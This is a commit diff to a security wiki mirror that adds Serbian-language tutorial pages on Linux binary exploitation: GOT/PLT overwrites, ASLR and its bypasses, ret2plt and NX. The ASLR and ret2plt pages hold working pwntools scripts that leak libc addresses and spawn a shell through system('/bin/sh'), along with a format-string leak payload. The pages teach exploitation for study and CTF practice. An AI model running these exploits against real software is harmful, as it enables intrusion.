mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/arbitra
This commit is contained in:
parent
7adb830187
commit
bf5db608ce
17 changed files with 945 additions and 83 deletions
16
SUMMARY.md
16
SUMMARY.md
|
@ -705,15 +705,19 @@
|
|||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
* [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md)
|
||||
* [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md)
|
||||
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -20,19 +20,19 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
**Globalna tabela offseta (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim fajlovima za upravljanje **adresama spoljnih funkcija**. Pošto ove **adrese nisu poznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljnih simbola** nakon što budu rešene.
|
||||
|
||||
Svaki unos u GOT-u odgovara simbolu u spoljnim bibliotekama koje binarni fajl može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava dinamičkim povezivačem i čuva u GOT-u**. Naknadni pozivi iste funkcije koriste adresu sačuvanu u GOT-u, čime se izbegava trošak ponovnog rešavanja adrese.
|
||||
Svaki unos u GOT-u odgovara simbolu u spoljnim bibliotekama koje binarni fajl može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava od strane dinamičkog linkera i čuva u GOT-u**. Naknadni pozivi iste funkcije koriste adresu sačuvanu u GOT-u, čime se izbegava trošak ponovnog rešavanja adrese.
|
||||
|
||||
### **PLT: Tabela vezivanja postupaka**
|
||||
|
||||
**Tabela vezivanja postupaka (PLT)** tesno sarađuje sa GOT-om i služi kao trambolina za rukovanje pozivima spoljnih funkcija. Kada binarni fajl **pozove spoljnu funkciju prvi put, kontrola se prenosi na unos u PLT-u koji je povezan sa tom funkcijom**. Ovaj PLT unos je odgovoran za pozivanje dinamičkog povezivača da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, čuva se u GOT-u.
|
||||
**Tabela vezivanja postupaka (PLT)** tesno sarađuje sa GOT-om i služi kao trambolina za rukovanje pozivima spoljnih funkcija. Kada binarni fajl **pozove spoljnu funkciju prvi put, kontrola se prenosi na unos u PLT-u koji je povezan sa tom funkcijom**. Ovaj PLT unos je odgovoran za pozivanje dinamičkog linkera da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, čuva se u GOT-u.
|
||||
|
||||
**Stoga,** unosi u GOT-u se direktno koriste kada se adresa spoljne funkcije ili promenljive reši. **Unosi u PLT-u se koriste za olakšavanje početne rezolucije** ovih adresa putem dinamičkog povezivača.
|
||||
**Stoga,** unosi u GOT-u se direktno koriste kada se adresa spoljne funkcije ili promenljive reši. **Unosi u PLT-u se koriste za olakšavanje početnog rešavanja** ovih adresa putem dinamičkog linkera.
|
||||
|
||||
## Izvršenje
|
||||
|
||||
### Provera GOT-a
|
||||
|
||||
Dobijte adresu tabele GOT pomoću: **`objdump -s -j .got ./exec`**
|
||||
Dobijte adresu tabele GOT sa: **`objdump -s -j .got ./exec`**
|
||||
|
||||
![](<../../../.gitbook/assets/image (619).png>)
|
||||
|
||||
|
@ -40,7 +40,7 @@ Primetite kako nakon **učitavanja** **izvršnog** fajla u GEF-u možete **videt
|
|||
|
||||
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
Koristeći GEF možete **zapoceti** sesiju **debugovanja** i izvršiti **`got`** da biste videli tabelu GOT:
|
||||
Koristeći GEF možete **zapoceti** sesiju **debugovanja** i izvršiti **`got`** da biste videli got tabelu:
|
||||
|
||||
![](<../../../.gitbook/assets/image (621).png>)
|
||||
|
||||
|
@ -50,7 +50,7 @@ U binarnom fajlu, GOT ima **adrese funkcija ili** odeljak **PLT-a** koji će uč
|
|||
|
||||
Idealno, **prepisati** ćete **GOT** neke **funkcije** koja će biti **pozvana sa parametrima koje kontrolišete** (tako da ćete moći da kontrolišete parametre poslate funkciji sistema).
|
||||
|
||||
Ako **`system`** **nije korišćen** u skripti, funkcija sistema **neće** imati unos u PLT-u. U ovom scenariju, moraćete **prvo procureti adresu** funkcije `system` a zatim prebrisati GOT da pokazuje na ovu adresu.
|
||||
Ako **`system`** **nije korišćen** od strane skripte, funkcija sistema **neće** imati unos u PLT-u. U ovom scenariju, moraćete **prvo procureti adresu** funkcije `system` a zatim prebrisati GOT da pokazuje na ovu adresu.
|
||||
|
||||
Možete videti adrese PLT-a sa **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
|
@ -58,8 +58,8 @@ Možete videti adrese PLT-a sa **`objdump -j .plt -d ./vuln_binary`**
|
|||
|
||||
Zaštita **FullRELRO** je namenjena zaštiti od ovakvih tehnika tako što rešava sve adrese funkcija kada se binarni fajl pokrene i čini **GOT tabelu samo za čitanje** nakon toga:
|
||||
|
||||
{% content-ref url="../common-binary-protections/relro.md" %}
|
||||
[relro.md](../common-binary-protections/relro.md)
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
@ -68,7 +68,7 @@ Zaštita **FullRELRO** je namenjena zaštiti od ovakvih tehnika tako što rešav
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
# Zajedničke binarne zaštite
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Omogućavanje Core fajlova
|
||||
|
||||
**Core fajlovi** su vrsta fajlova koje generiše operativni sistem kada proces doživi pad. Ovi fajlovi zabeleže sliku memorije procesa u trenutku njegovog završetka, uključujući memoriju procesa, registre i stanje brojača programa, među ostalim detaljima. Ovaj snimak može biti izuzetno vredan za debagovanje i razumevanje razloga zbog kojih je došlo do pada.
|
||||
|
||||
### **Omogućavanje Generisanja Core Dump Fajlova**
|
||||
|
||||
Podrazumevano, mnogi sistemi ograničavaju veličinu core fajlova na 0 (tj. ne generišu core fajlove) radi uštede prostora na disku. Da biste omogućili generisanje core fajlova, možete koristiti `ulimit` komandu (u bash-u ili sličnim shell-ovima) ili konfigurisati postavke na nivou sistema.
|
||||
|
||||
* **Korišćenje ulimit-a**: Komanda `ulimit -c unlimited` omogućava trenutnoj shell sesiji da kreira core fajlove neograničene veličine. Ovo je korisno za debagovanje sesija, ali nije trajno nakon ponovnog pokretanja sistema ili novih sesija.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Trajna konfiguracija**: Za trajnije rešenje, možete urediti datoteku `/etc/security/limits.conf` da uključite liniju poput `* soft core unlimited`, što omogućava svim korisnicima da generišu datoteke jezgra neograničene veličine, bez potrebe da ručno postavljaju ulimit u svojim sesijama.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Analiziranje Core fajlova sa GDB-om**
|
||||
|
||||
Za analiziranje core fajla, možete koristiti alate za debagovanje poput GDB-a (GNU Debager). Pretpostavljajući da imate izvršni fajl koji je proizveo core dump i da je core fajl nazvan `core_file`, možete započeti analizu sa:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
Ova komanda učitava izvršnu datoteku i jezgro u GDB, omogućavajući vam da pregledate stanje programa u vreme pada. Možete koristiti GDB komande da istražite stek, pregledate promenljive i razumete uzrok pada.
|
|
@ -0,0 +1,150 @@
|
|||
# ASLR
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
**Randomizacija rasporeda adresnog prostora (ASLR)** je sigurnosna tehnika korišćena u operativnim sistemima za **randomizaciju memorijskih adresa** koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču predviđanje lokacije određenih procesa i podataka, kao što su stek, hip i biblioteke, čime se umanjuje određene vrste eksploatacija, posebno prelivanje bafera.
|
||||
|
||||
### **Provera Statusa ASLR**
|
||||
|
||||
Da biste **proverili** status ASLR-a na Linux sistemu, možete pročitati vrednost iz fajla `/proc/sys/kernel/randomize_va_space`. Vrednost sačuvana u ovom fajlu određuje vrstu primenjene ASLR:
|
||||
|
||||
* **0**: Bez randomizacije. Sve je statično.
|
||||
* **1**: Konzervativna randomizacija. Deljeni biblioteke, stek, mmap(), VDSO stranica su randomizovani.
|
||||
* **2**: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana putem `brk()` je randomizovana.
|
||||
|
||||
Možete proveriti status ASLR-a pomoću sledeće komande:
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Onemogućavanje ASLR-a**
|
||||
|
||||
Da biste **onemogućili** ASLR, postavite vrednost `/proc/sys/kernel/randomize_va_space` na **0**. Onemogućavanje ASLR-a obično se ne preporučuje osim u testnim ili debagirajućim scenarijima. Evo kako to možete onemogućiti:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Takođe možete onemogućiti ASLR za izvršavanje sa:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Omogućavanje ASLR-a**
|
||||
|
||||
Da biste **omogućili** ASLR, možete upisati vrednost **2** u datoteku `/proc/sys/kernel/randomize_va_space`. Obično je potrebno imati privilegije root korisnika. Potpuna randomizacija može se postići sledećom komandom:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Upornost preko ponovnog pokretanja**
|
||||
|
||||
Promene napravljene pomoću `echo` komandi su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste napravili promenu trajnom, morate urediti datoteku `/etc/sysctl.conf` i dodati ili izmeniti sledeću liniju:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Nakon što izmenite `/etc/sysctl.conf`, primenite promene sa:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Ovo će osigurati da vaše ASLR postavke ostanu nakon ponovnog pokretanja.
|
||||
|
||||
## **Bypasses**
|
||||
|
||||
### Brute-forcing za 32 bita
|
||||
|
||||
PaX deli prostor adresa procesa u **3 grupe**:
|
||||
|
||||
* **Kod i podaci** (inicijalizovani i neinicijalizovani): `.text`, `.data`, i `.bss` —> **16 bitova** entropije u promenljivoj `delta_exec`. Ova promenljiva se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama.
|
||||
* **Memorija** alocirana pomoću `mmap()` i **deljeni biblioteke** —> **16 bitova**, nazvano `delta_mmap`.
|
||||
* **Stek** —> **24 bita**, nazvan `delta_stack`. Međutim, efektivno koristi **11 bitova** (od 10. do 20. bajta uključujući), poravnato na **16 bajtova** —> Ovo rezultira u **524,288 mogućih stvarnih adresa steka**.
|
||||
|
||||
Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR-a pokušavanjem izvršenja iznova i iznova dok eksploatacija ne uspe uspešno.
|
||||
|
||||
#### Ideje za brute-force:
|
||||
|
||||
* Ako je eksploatacija lokalna, možete pokušati brute-force osnovnu adresu libc-a (korisno za 32-bitne sisteme):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Ako napadate udaljeni server, možete pokušati **bruteforce-ovati adresu `libc` funkcije `usleep`**, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku **odgovori sa dodatnih 10 sekundi**, pronašli ste adresu ove funkcije.
|
||||
|
||||
{% hint style="success" %}
|
||||
Na 64-bitnim sistemima entropija je mnogo veća i ovo nije moguće.
|
||||
{% endhint %}
|
||||
|
||||
### Imajući curenje
|
||||
|
||||
* **Izazov je dati curenje**
|
||||
|
||||
Ako vam je dato curenje (jednostavni CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju `libc` koja se koristi u sistemu koji iskorišćavate). Ovaj primer eksploatacije je izvučen iz [**primera sa ovog mesta**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (proverite tu stranicu za više detalja):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvuntil('at: ')
|
||||
system_leak = int(p.recvline(), 16)
|
||||
|
||||
libc.address = system_leak - libc.sym['system']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
* **ret2plt**
|
||||
|
||||
Zloupotrebom preliva bafera bilo bi moguće iskoristiti **ret2plt** da bi se izvukla adresa funkcije iz libc-a. Proverite:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Proizvoljno čitanje formatiranih stringova**
|
||||
|
||||
Baš kao i u slučaju **ret2plt**, ako imate proizvoljno čitanje putem ranjivosti formatiranih stringova, moguće je izvući adresu **libc funkcije** iz GOT-a. Sledeći [**primer je odavde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||||
|
||||
# this part is only relevant if you need to call the main function again
|
||||
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
Možete pronaći više informacija o proizvoljnom čitanju formatnih stringova u:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret
|
||||
|
||||
Pokušajte zaobići ASLR zloupotrebom adresa unutar steka:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../../stack-overflow/ret2ret.md)
|
||||
{% endcontent-ref %}
|
|
@ -0,0 +1,96 @@
|
|||
# Ret2plt
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Cilj ove tehnike bio bi da **procuremo adresu funkcije iz PLT-a** kako bismo mogli da zaobiđemo ASLR. Ovo je zato što ako, na primer, procurete adresu funkcije `puts` iz libc-a, možete onda **izračunati gde je baza `libc`-a** i izračunati ofsete za pristup drugim funkcijama poput **`system`**.
|
||||
|
||||
Ovo se može uraditi sa `pwntools` payload-om kao što je ([**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
# 64-bit
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Primetite kako se **`puts`** (koristeći adresu iz PLT-a) poziva sa adresom `puts` smeštenom u `GOT`-u. To je zato što će do trenutka kada `puts` odštampa ulaz `GOT`-a puts, ovaj **ulaz će sadržati adresu `puts` u memoriji**.
|
||||
|
||||
Takođe primetite kako se adresa `main` koristi u eksploataciji tako da kada `puts` završi izvršavanje, **binarni fajl ponovo poziva `main` umesto izlaska** (tako da će procurila adresa i dalje biti validna).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Primetite kako je potrebno da **binarni fajl nije kompajliran sa PIE** ili morate imati **pronađenu curenje informacija da biste zaobišli PIE** kako biste znali adresu `PLT`, `GOT` i `main`.
|
||||
{% endhint %}
|
||||
|
||||
Možete pronaći [**potpuni primer ovog zaobilaženja ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Ovo je bio konačni eksploit iz tog primera:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvline()
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
puts_leak = u32(p.recv(4))
|
||||
p.recvlines(2)
|
||||
|
||||
libc.address = puts_leak - libc.sym['puts']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,40 @@
|
|||
# No-exec / NX
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Bit **No-Execute (NX)**, takođe poznata kao **Execute Disable (XD)** u Intel terminologiji, je bezbednosna karakteristika zasnovana na hardveru dizajnirana da **umiri** efekte **buffer overflow** napada. Kada je implementirana i omogućena, razlikuje između memorijskih regiona koji su namenjeni za **izvršni kod** i one namenjene za **podatke**, kao što su **stack** i **heap**. Osnovna ideja je da se spreči napadač da izvršava zlonamerni kod putem ranjivosti buffer overflow-a stavljanjem zlonamernog koda na stek na primer i usmeravanjem toka izvršavanja ka njemu.
|
||||
|
||||
## Bypasses
|
||||
|
||||
* Moguće je koristiti tehnike poput [**ROP**](../stack-overflow/rop-return-oriented-programing.md) da se zaobiđe ova zaštita izvršavanjem delova izvršnog koda već prisutnog u binarnom fajlu.
|
||||
* [**Ret2libc**](../stack-overflow/ret2lib/)
|
||||
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
